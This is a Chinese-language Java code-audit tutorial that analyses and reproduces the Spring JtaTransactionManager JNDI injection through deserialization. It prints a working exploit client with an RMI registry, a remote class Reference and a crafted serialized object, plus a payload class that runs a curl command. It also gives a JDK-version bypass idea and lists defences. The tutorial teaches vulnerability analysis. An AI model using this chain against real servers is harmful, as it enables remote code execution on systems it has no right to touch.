从零开始java代码审计系列(二)
字数 1448 2025-08-29 08:32:09
Java代码审计系列(二):JNDI注入漏洞分析与复现
1. 漏洞概述
JNDI注入是一种利用Java命名和目录接口(JNDI)功能的安全漏洞,攻击者可以通过控制JNDI查找的参数,使应用程序加载并执行恶意代码。本教学文档将详细分析Spring框架中的JNDI注入漏洞原理,并提供完整的复现过程。
2. 核心概念
2.1 JNDI (Java Naming and Directory Interface)
- JNDI是Java提供的API,用于查找和访问各种命名和目录服务
- 功能:将名称与对象绑定,提供统一的接口访问不同资源
- 类比:类似于JDBC构建在抽象层上,增加程序灵活性
2.2 RMI (Remote Method Invocation)
- Java提供的分布式应用API,实现远程方法调用(RPC)
- 允许一个JVM下的对象调用其他JVM下的远程对象
- 核心特性:如果当前JVM没有某个类的定义,会从远程URL下载class文件
3. 漏洞原理分析
3.1 漏洞触发链
-
反序列化入口:
JtaTransactionManager类的readObject方法private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); this.jndiTemplate = new JndiTemplate(); this.initUserTransactionAndTransactionManager(); this.initTransactionSynchronizationRegistry(); } -
调用链展开:
initUserTransactionAndTransactionManager()lookupUserTransaction(this.userTransactionName)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class)
-
关键点:
userTransactionName参数可控public void setUserTransactionName(String userTransactionName) { this.userTransactionName = userTransactionName; }
3.2 漏洞利用机制
- 攻击者构造恶意序列化对象,设置
userTransactionName为攻击者控制的RMI地址 - 目标应用反序列化时触发
lookup方法 - RMI服务端返回一个
Reference对象,指向攻击者控制的HTTP服务器上的恶意class文件 - 目标应用从攻击者服务器下载并执行恶意代码
4. 漏洞复现环境
4.1 环境要求
- JDK版本:1.7 (原因见5.1节限制说明)
- 使用测试环境:https://github.com/zerothoughts/spring-jndi
4.2 组件说明
-
ExploitableServer:接收反序列化对象的服务端
ServerSocket serverSocket = new ServerSocket(9999); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); Object object = objectInputStream.readObject(); -
ExploitClient:攻击者客户端
// 创建RMI Registry Registry registry = LocateRegistry.createRegistry(1099); // 创建指向恶意class的Reference Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:9987/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); // 构造恶意对象 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName("rmi://"+localAddress+":1099/Object"); // 发送给目标 ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); -
恶意类ExportObject:
public class ExportObject { public ExportObject() { try { Runtime.getRuntime().exec("curl http://localhost:10000/"); } catch(Exception e) { e.printStackTrace(); } } }
5. 关键限制与绕过
5.1 JDK版本限制
- JDK 8u191+限制:设置了
com.sun.jndi.ldap.object.trustURLCodebase=false,禁止从远程URL加载class文件 - 解决方案:使用本地类路径中的类进行利用(如Tomcat中的类)
5.2 绕过方法参考
- 参考文章:
6. 防御措施
- 升级JDK到最新版本
- 限制反序列化操作,使用白名单控制可反序列化的类
- 设置JVM系统属性
com.sun.jndi.rmi.object.trustURLCodebase=false - 对JNDI查找参数进行严格校验和过滤
7. 参考资源
通过本教学文档,您应该能够全面理解JNDI注入漏洞的原理、利用方式及防御方法,并具备独立复现该漏洞的能力。